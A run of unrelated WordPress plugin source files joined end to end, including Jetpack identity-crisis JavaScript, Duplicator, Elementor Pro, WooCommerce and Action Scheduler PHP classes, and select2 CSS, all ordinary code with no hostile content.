i=e=>{const[t,n]=(0,a.useState)(!1),i=(0,s.useSelect)((e=>e(o.a).getIsActionInProgress()),[]),{setIsActionInProgress:l,setErrorType:d,clearErrorType:p}=(0,s.useDispatch)(o.a);return{isStartingFresh:t,startFreshCallback:(0,a.useCallback)((()=>{i||((0,c.A)("start_fresh"),l(!0),n(!0),p(),r.Ay.startIDCFresh(e).then((e=>{window.location.href=e+"&from=idc-notice"})).catch((e=>{throw l(!1),n(!1),d("start-fresh"),e})))}),[n,i,l,e,d,p])}}},8269:(e,t,n)=>{"use strict";n.d(t,{Ay:()=>o,Xs:()=>r,sL:()=>a,xj:()=>s});const r="SET_IS_ACTION_IN_PROGRESS",s="SET_ERROR_TYPE",a="CLEAR_ERROR_TYPE",o={setIsActionInProgress:e=>({type:r,isInProgress:e}),setErrorType:e=>({type:s,errorType:e}),clearErrorType:()=>({type:a})}},2093:(e,t,n)=>{"use strict";n.d(t,{A:()=>a});var r=n(7143),s=n(8269);const a=(0,r.combineReducers)({isActionInProgress:(e=!1,t)=>t.type===s.Xs?t.isInProgress:e,errorType:(e=null,t)=>{switch(t.type){case s.xj:return t.errorType;case s.sL:return null}return e}})},8918:(e,t,n)=>{"use strict";n.d(t,{A:()=>r});const r={getIsActionInProgress:e=>e.isActionInProgress||!1,getErrorType:e=>e.errorType||null}},1908:(e,t,n)=>{"use strict";n.d(t,{A:()=>a});var r=n(7143);class s{static store=null;static mayBeInit(e,t){null===s.store&&(s.store=(0,r.createReduxStore)(e,t),(0,r.register)(s.store))}}const a=s},3207:(e,t,n)=>{"use strict";n.d(t,{a:()=>c});var r=n(8269),s=n(2093),a=n(8918),o=n(1908);const c="jetpack-idc";o.A.mayBeInit(c,{reducer:s.A,actions:r.Ay,selectors:a.A})},1057:(e,t,n)=>{"use strict";n.d(t,{A:()=>a});var r=n(3619),s=n.n(r);const a={headerText:s().string,logoAlt:s().string,mainTitle:s().string,mainBodyText:s().string,mainBodyTextDev:s().string,migratedTitle:s().string,migratedBodyText:s().string,migrateCardTitle:s().string,migrateButtonLabel:s().string,migrateCardBodyText:s().string,startFreshCardTitle:s().string,startFreshCardBodyText:s().string,safeModeCardBodyText:s().string,startFreshCardBodyTextDev:s().string,startFreshButtonLabel:s().string,nonAdminTitle:s().string,nonAdminBodyText:s().string,supportURL:s().string,stayInSafeModeButtonLabel:s().string}},6043:(e,t,n)=>{"use strict";n.d(t,{A:()=>r});const r=e=>/^https?:\/\//.test(e)?new URL(e).hostname:e.replace(/\/$/,"")},2879:(e,t,n)=>{"use strict";n.d(t,{A:()=>a,f:()=>s});var r=n(372);function s(e,t){t&&Object.hasOwn(t,"userid")&&Object.hasOwn(t,"username")&&r.A.initialize(t.userid,t.username),e&&(Object.hasOwn(e,"blogID")&&r.A.assignSuperProps({blog_id:e.blogID}),Object.hasOwn(e,"platform")&&r.A.assignSuperProps({platform:e.platform})),r.A.setMcAnalyticsEnabled(!0)}function a(e,t={}){void 0!==t&&"object"==typeof t||(t={}),e&&e.length&&void 0!==r.A&&r.A.tracks&&r.A.mc&&(e=0!==(e=e.replace(/-/g,"_")).indexOf("jetpack_idc_")?"jetpack_idc_"+e:e,r.A.tracks.recordEvent(e,t),e=(e=e.replace("jetpack_idc_","")).replace(/_/g,"-"),r.A.mc.bumpStat("jetpack-idc",e))}},9074:e=>{"use strict";e.exports={consumer_slug:"connection_package"}},1609:e=>{"use strict";e.exports=window.React},6427:e=>{"use strict";e.exports=window.wp.components},9491:e=>{"use strict";e.exports=window.wp.compose},7143:e=>{"use strict";e.exports=window.wp.data},6087:e=>{"use strict";e.exports=window.wp.element},7723:e=>{"use strict";e.exports=window.wp.i18n},3832:e=>{"use strict";e.exports=window.wp.url},8579:e=>{function t(){return e.exports=t=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},e.exports.__esModule=!0,e.exports.default=e.exports,t.apply(null,arguments)}e.exports=t,e.exports.__esModule=!0,e.exports.default=e.exports},2231:(e,t,n)=>{"use strict";function r(e){var t,n,s="";if("string"==typeof e||"number"==typeof e)s+=e;else if("object"==typeof e)if(Array.isArray(e)){var a=e.length;for(t=0;t<a;t++)e[t]&&(n=r(e[t]))&&(s&&(s+=" "),s+=n)}else for(n in e)e[n]&&(s&&(s+=" "),s+=n);return s}n.d(t,{A:()=>s});const s=function(){for(var e,t,n=0,s="",a=arguments.length;n<a;n++)(e=arguments[n])&&(t=r(e))&&(s&&(s+=" "),s+=t);return s}}},t={};function n(r){var s=t[r];if(void 0!==s)return s.exports;var a=t[r]={exports:{}};return e[r](a,a.exports,n),a.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var r in t)n.o(t,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";var e=n(7459),t=n(6087),r=n(1609),s=n.n(r);window.addEventListener("load",(()=>function(){if(!Object.hasOwn(window,"JP_IDENTITY_CRISIS__INITIAL_STATE"))return;const n=document.getElementById(window.JP_IDENTITY_CRISIS__INITIAL_STATE.containerID||"jp-identity-crisis-container");if(null===n)return;const{WP_API_root:r,WP_API_nonce:a,wpcomHomeUrl:o,currentUrl:c,redirectUri:i,tracksUserData:l,tracksEventData:d,isSafeModeConfirmed:p,consumerData:m,isAdmin:u,possibleDynamicSiteUrlDetected:h,isDevelopmentSite:g}=window.JP_IDENTITY_CRISIS__INITIAL_STATE;if(!p){const p=s().createElement(e.A,{wpcomHomeUrl:o,currentUrl:c,apiRoot:r,apiNonce:a,redirectUri:i,tracksUserData:l||{},tracksEventData:d,customContent:Object.hasOwn(m,"customContent")?m.customContent:{},isAdmin:u,logo:Object.hasOwn(m,"logo")?m.logo:void 0,possibleDynamicSiteUrlDetected:h,isDevelopmentSite:g});t.createRoot(n).render(p)}}()))})()})();<?php

class DUP_Archive_Config
{
    public $dup_type       = 'lite';
    public $created        = '';
    public $version_dup    = '';
    public $version_wp     = '';
    public $version_db     = '';
    public $version_php    = '';
    public $version_os     = '';
    public $blogname       = '';
    public $exportOnlyDB   = false;
    public $secure_on      = 0;
    public $secure_pass    = '';
    public $dbhost         = null;
    public $dbname         = null;
    public $dbuser         = null;
    public $cpnl_host      = null;
    public $cpnl_user      = null;
    public $cpnl_pass      = null;
    public $cpnl_enable    = null;
    public $wp_tableprefix = '';
    public $mu_mode        = 0;
    public $mu_generation  = 0;
    public $mu_siteadmins  = array();
    public $subsites       = array();
    public $main_site_id   = 1;
    public $mu_is_filtered = false;
    public $license_limit  = 0;
    public $license_type   = 0;
    public $dbInfo         = array();
    public $packInfo       = array();
    public $fileInfo       = array();
    public $wpInfo         = array();
    /** @var int<-1,max> */
    public $defaultStorageId = -1;
    /** @var string[] */
    public $components = array();
    /** @var string[] */
    public $opts_delete = array();
    /** @var array<string, mixed> */
    public $brand = array();
    /** @var array<string, mixed> */
    public $overwriteInstallerParams = array();
    /** @var string */
    public $installer_base_name = '';
    /** @var string */
    public $installer_backup_name = '';
    /** @var string */
    public $package_name = '';
    /** @var string */
    public $package_hash = '';
    /** @var string */
    public $package_notes = '';
}
<?php
namespace ElementorPro\Modules\ThemeBuilder\Documents;

use Elementor\Controls_Manager;
use Elementor\Core\DocumentTypes\Post;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Header_Footer_Base extends Theme_Section_Document {

	public function get_css_wrapper_selector() {
		return '.elementor-' . $this->get_main_id();
	}

	protected static function get_editor_panel_categories() {
		// Move to top as active.
		$categories = [
			'theme-elements' => [
				'title' => esc_html__( 'Site', 'elementor-pro' ),
				'active' => true,
			],
		];

		return $categories + parent::get_editor_panel_categories();
	}

	protected function register_controls() {
		parent::register_controls();

		Post::register_style_controls( $this );

		$this->update_control(
			'section_page_style',
			[
				'label' => esc_html__( 'Style', 'elementor-pro' ),
			]
		);

		$this->start_injection( [
			'of' => 'margin',
		] );

		$this->add_control(
			'hidden_header_footer_style_control',
			[
				'type' => Controls_Manager::HIDDEN,
				'default' => 'hidden_control',
				'selectors' => [
					'.elementor-theme-builder-content-area' => 'height: 400px;',
					'.elementor-location-header:before, .elementor-location-footer:before' => 'content: ""; display: table; clear: both;',
				],
			]
		);

		$this->end_injection();
	}

	protected function get_remote_library_config() {
		$config = parent::get_remote_library_config();

		$config['category'] = $this->get_name();

		return $config;
	}
}
<?php
/**
 * WC_Report_Out_Of_Stock.
 *
 * @package WooCommerce\Admin\Reports
 */

defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'WC_Report_Stock' ) ) {
	require_once dirname( __FILE__ ) . '/class-wc-report-stock.php';
}

/**
 * WC_Report_Out_Of_Stock class.
 */
class WC_Report_Out_Of_Stock extends WC_Report_Stock {

	/**
	 * No items found text.
	 */
	public function no_items() {
		esc_html_e( 'No out of stock products found.', 'woocommerce' );
	}

	/**
	 * Get Products matching stock criteria.
	 *
	 * @param int $current_page Current page number.
	 * @param int $per_page How many results to show per page.
	 */
	public function get_items( $current_page, $per_page ) {
		global $wpdb;

		$this->max_items = 0;
		$this->items     = array();

		$stock = absint( max( get_option( 'woocommerce_notify_no_stock_amount' ), 0 ) );

		$query_from = apply_filters(
			'woocommerce_report_out_of_stock_query_from',
			$wpdb->prepare(
				"
				FROM {$wpdb->posts} as posts
				INNER JOIN {$wpdb->wc_product_meta_lookup} AS lookup ON posts.ID = lookup.product_id
				WHERE 1=1
				AND posts.post_type IN ( 'product', 'product_variation' )
				AND posts.post_status = 'publish'
				AND lookup.stock_quantity <= %d
				",
				$stock
			)
		);

		$this->items     = $wpdb->get_results( $wpdb->prepare( "SELECT SQL_CALC_FOUND_ROWS posts.ID as id, posts.post_parent as parent {$query_from} ORDER BY posts.post_title DESC LIMIT %d, %d;", ( $current_page - 1 ) * $per_page, $per_page ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
		$this->max_items = $wpdb->get_var( 'SELECT FOUND_ROWS();' ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}
}
<svg xmlns="http://www.w3.org/2000/svg" width="250.5" height="125.75" viewBox="0 0 250.5 125.75"><path class="b473dc75-7459-43a5-8a1c-89caf910da53" d="M.25,62.875C.25,28.2882,56.2144.25,125.25.25s125,28.0382,125,62.625-55.9644,62.625-125,62.625S.25,97.4619.25,62.875"/></svg><?php
/**
 * The template to display the reviewers star rating in reviews
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/review-rating.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 3.6.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

global $comment;
$rating = intval( get_comment_meta( $comment->comment_ID, 'rating', true ) );

if ( $rating && wc_review_ratings_enabled() ) {
	echo wc_get_rating_html( $rating ); // WPCS: XSS ok.
}
<?php

/**
 * Class ActionScheduler_CronSchedule
 */
class ActionScheduler_CronSchedule extends ActionScheduler_Abstract_RecurringSchedule implements ActionScheduler_Schedule {

	/**
	 * Deprecated property @see $this->__wakeup() for details.
	 *
	 * @var null
	 */
	private $start_timestamp = null;

	/**
	 * Deprecated property @see $this->__wakeup() for details.
	 *
	 * @var null
	 */
	private $cron = null;

	/**
	 * Wrapper for parent constructor to accept a cron expression string and map it to a CronExpression for this
	 * objects $recurrence property.
	 *
	 * @param DateTime              $start The date & time to run the action at or after. If $start aligns with the CronSchedule passed via $recurrence, it will be used. If it does not align, the first matching date after it will be used.
	 * @param CronExpression|string $recurrence The CronExpression used to calculate the schedule's next instance.
	 * @param DateTime|null         $first (Optional) The date & time the first instance of this interval schedule ran. Default null, meaning this is the first instance.
	 */
	public function __construct( DateTime $start, $recurrence, ?DateTime $first = null ) {
		if ( ! is_a( $recurrence, 'CronExpression' ) ) {
			$recurrence = CronExpression::factory( $recurrence );
		}

		// For backward compatibility, we need to make sure the date is set to the first matching cron date, not whatever date is passed in. Importantly, by passing true as the 3rd param, if $start matches the cron expression, then it will be used. This was previously handled in the now deprecated next() method.
		$date = $recurrence->getNextRunDate( $start, 0, true );

		// parent::__construct() will set this to $date by default, but that may be different to $start now.
		$first = empty( $first ) ? $start : $first;

		parent::__construct( $date, $recurrence, $first );
	}

	/**
	 * Calculate when an instance of this schedule would start based on a given
	 * date & time using its the CronExpression.
	 *
	 * @param DateTime $after Timestamp.
	 * @return DateTime
	 */
	protected function calculate_next( DateTime $after ) {
		return $this->recurrence->getNextRunDate( $after, 0, false );
	}

	/**
	 * Get the schedule's recurrence.
	 *
	 * @return string
	 */
	public function get_recurrence() {
		return strval( $this->recurrence );
	}

	/**
	 * Serialize cron schedules with data required prior to AS 3.0.0
	 *
	 * Prior to Action Scheduler 3.0.0, recurring schedules used different property names to
	 * refer to equivalent data. For example, ActionScheduler_IntervalSchedule::start_timestamp
	 * was the same as ActionScheduler_SimpleSchedule::timestamp. Action Scheduler 3.0.0
	 * aligned properties and property names for better inheritance. To guard against the
	 * possibility of infinite loops if downgrading to Action Scheduler < 3.0.0, we need to
	 * also store the data with the old property names so if it's unserialized in AS < 3.0,
	 * the schedule doesn't end up with a null recurrence.
	 *
	 * @return array
	 */
	public function __sleep() {

		$sleep_params = parent::__sleep();

		$this->start_timestamp = $this->scheduled_timestamp;
		$this->cron            = $this->recurrence;

		return array_merge(
			$sleep_params,
			array(
				'start_timestamp',
				'cron',
			)
		);
	}

	/**
	 * Unserialize cron schedules serialized/stored prior to AS 3.0.0
	 *
	 * For more background, @see ActionScheduler_Abstract_RecurringSchedule::__wakeup().
	 */
	public function __wakeup() {
		if ( is_null( $this->scheduled_timestamp ) && ! is_null( $this->start_timestamp ) ) {
			$this->scheduled_timestamp = $this->start_timestamp;
			unset( $this->start_timestamp );
		}

		if ( is_null( $this->recurrence ) && ! is_null( $this->cron ) ) {
			$this->recurrence = $this->cron;
			unset( $this->cron );
		}
		parent::__wakeup();
	}
}

<?php

namespace Psr\Cache;

/**
 * Exception interface for invalid cache arguments.
 *
 * Any time an invalid argument is passed into a method it must throw an
 * exception class which implements Psr\Cache\InvalidArgumentException.
 */
interface InvalidArgumentException extends CacheException
{
}
.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir=rtl] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:#fff;border:1px solid #aaa;border-radius:3px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0!important;clip:rect(0 0 0 0)!important;height:1px!important;margin:-1px!important;overflow:hidden!important;padding:0!important;position:absolute!important;width:1px!important}.select2-container--classic .select2-results>.select2-results__options,.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:3px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:700}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent;border-style:solid;border-width:5px 4px 0;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir=rtl] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888;border-width:0 4px 5px}.select2-container--default .select2-selection--multiple{background-color:#fff;border:1px solid #aaa;border-radius:3px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__placeholder{color:#999;margin-top:5px;float:left}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:700;margin-top:5px;margin-right:10px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:700;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-search--inline,.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__placeholder{float:right}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:1px solid #000;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple,.select2-container--default.select2-container--open.select2-container--above .select2-selection--single{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,.select2-container--default.select2-container--open.select2-container--below .select2-selection--single{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:0 0;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:#fff}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:3px;outline:0;background-image:-webkit-linear-gradient(top,#fff 50%,#eee 100%);background-image:-o-linear-gradient(top,#fff 50%,#eee 100%);background-image:linear-gradient(to bottom,#fff 50%,#eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:700;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top,#eee 50%,#ccc 100%);background-image:-o-linear-gradient(top,#eee 50%,#ccc 100%);background-image:linear-gradient(to bottom,#eee 50%,#ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent;border-style:solid;border-width:5px 4px 0;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir=rtl] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:4px 0 0 4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:0 0;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888;border-width:0 4px 5px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top,#fff 0,#eee 50%);background-image:-o-linear-gradient(top,#fff 0,#eee 50%);background-image:linear-gradient(to bottom,#fff 0,#eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top,#eee 50%,#fff 100%);background-image:-o-linear-gradient(top,#eee 50%,#fff 100%);background-image:linear-gradient(to bottom,#eee 50%,#fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:#fff;border:1px solid #aaa;border-radius:3px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:700;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}<?php
/**
 * WooCommerce Settings.
 */

namespace Automattic\WooCommerce\Internal\Admin;

use Automattic\WooCommerce\Admin\PageController;

/**
 * Contains backend logic for the Settings feature.
 */
class SettingsNavigationFeature {
	/**
	 * Option name used to toggle this feature.
	 */
	const TOGGLE_OPTION_NAME = 'woocommerce_settings_enabled';

	/**
	 * Class instance.
	 *
	 * @var Settings instance
	 */
	protected static $instance = null;

	/**
	 * Get class instance.
	 */
	public static function get_instance() {
		if ( ! self::$instance ) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	/**
	 * Hook into WooCommerce.
	 */
	public function __construct() {
		if ( ! is_admin() ) {
			return;
		}

		add_filter( 'woocommerce_settings_features', array( $this, 'add_feature_toggle' ) );

		if ( 'yes' !== get_option( 'woocommerce_settings_enabled', 'no' ) ) {
			return;
		}

		add_filter( 'woocommerce_admin_shared_settings', array( __CLASS__, 'add_component_settings' ) );
		// Run this after the original WooCommerce settings have been added.
		add_action( 'admin_menu', array( $this, 'register_pages' ), 60 );
		add_action( 'init', array( $this, 'redirect_core_settings_pages' ) );
	}

	/**
	 * Add the necessary data to initially load the WooCommerce Settings pages.
	 *
	 * @param array $settings Array of component settings.
	 * @return array Array of component settings.
	 */
	public static function add_component_settings( $settings ) {
		if ( ! is_admin() ) {
			return $settings;
		}

		$setting_pages = \WC_Admin_Settings::get_settings_pages();
		$pages         = array();
		foreach ( $setting_pages as $setting_page ) {
			$pages = $setting_page->add_settings_page( $pages );
		}

		$settings['settingsPages'] = $pages;

		return $settings;
	}

	/**
	 * Add the feature toggle to the features settings.
	 *
	 * @param array $features Feature sections.
	 * @return array
	 */
	public static function add_feature_toggle( $features ) {
		$features[] = array(
			'title' => __( 'Settings', 'woocommerce' ),
			'desc'  => __(
				'Adds the new WooCommerce settings UI.',
				'woocommerce'
			),
			'id'    => 'woocommerce_settings_enabled',
			'type'  => 'checkbox',
		);

		return $features;
	}

	/**
	 * Registers settings pages.
	 */
	public function register_pages() {
		$controller = PageController::get_instance();

		$setting_pages = \WC_Admin_Settings::get_settings_pages();
		$settings      = array();
		foreach ( $setting_pages as $setting_page ) {
			$settings = $setting_page->add_settings_page( $settings );
		}

		$order = 0;
		foreach ( $settings as $key => $setting ) {
			$order        += 10;
			$settings_page = array(
				'parent'   => 'woocommerce-settings',
				'title'    => $setting,
				'id'       => 'settings-' . $key,
				'path'     => "/settings/$key",
				'nav_args' => array(
					'capability' => 'manage_woocommerce',
					'order'      => $order,
					'parent'     => 'woocommerce-settings',
				),
			);

			// Replace the old menu with the first settings item.
			if ( 10 === $order ) {
				$this->replace_settings_page( $settings_page );
			}

			$controller->register_page( $settings_page );
		}
	}

	/**
	 * Replace the Settings page in the original WooCommerce menu.
	 *
	 * @param array $page Page used to replace the original.
	 */
	protected function replace_settings_page( $page ) {
		global $submenu;

		// Check if WooCommerce parent menu has been registered.
		if ( ! isset( $submenu['woocommerce'] ) ) {
			return;
		}

		foreach ( $submenu['woocommerce'] as &$item ) {
			// The "slug" (aka the path) is the third item in the array.
			if ( 0 === strpos( $item[2], 'wc-settings' ) ) {
				$item[2] = wc_admin_url( "&path={$page['path']}" );
			}
		}
	}

	/**
	 * Redirect the old settings page URLs to the new ones.
	 */
	public function redirect_core_settings_pages() {
		/* phpcs:disable WordPress.Security.NonceVerification */
		if ( ! isset( $_GET['page'] ) || 'wc-settings' !== $_GET['page'] ) {
			return;
		}

		if ( ! current_user_can( 'manage_woocommerce' ) ) {
			return;
		}

		$setting_pages   = \WC_Admin_Settings::get_settings_pages();
		$default_setting = isset( $setting_pages[0] ) ? $setting_pages[0]->get_id() : '';
		$setting         = isset( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : $default_setting;
		/* phpcs:enable */

		wp_safe_redirect( wc_admin_url( "&path=/settings/$setting" ) );
		exit;
	}
}
<?php
/**
 * Helper functions.
 *
 * @since 2.0
 * @package fusion-library
 */

